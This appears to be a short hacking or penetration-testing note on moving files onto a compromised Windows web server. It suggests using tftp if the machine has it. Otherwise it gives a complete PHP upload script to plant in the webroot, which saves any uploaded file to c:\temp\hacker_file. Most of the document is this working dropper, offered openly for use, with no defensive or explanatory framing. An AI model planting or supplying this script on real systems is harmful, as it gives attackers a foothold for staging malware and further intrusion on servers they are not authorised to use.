See if tftp is on the box and use that to grab files.

If not then this php script will let you upload files, just put it in
the webroot then browse to it. It will upload the given file to
c:\temp\hacker_file.

<?php
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("file",
$_FILES)) {
    move_uploaded_file ($_FILES['file']["tmp_name"], "c:\\temp\hacker_file");
}
?>
<form method="post" action="<?=$_SERVER['PHP_SELF']?>"
enctype="multipart/form-data">
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="submit" />
</form>
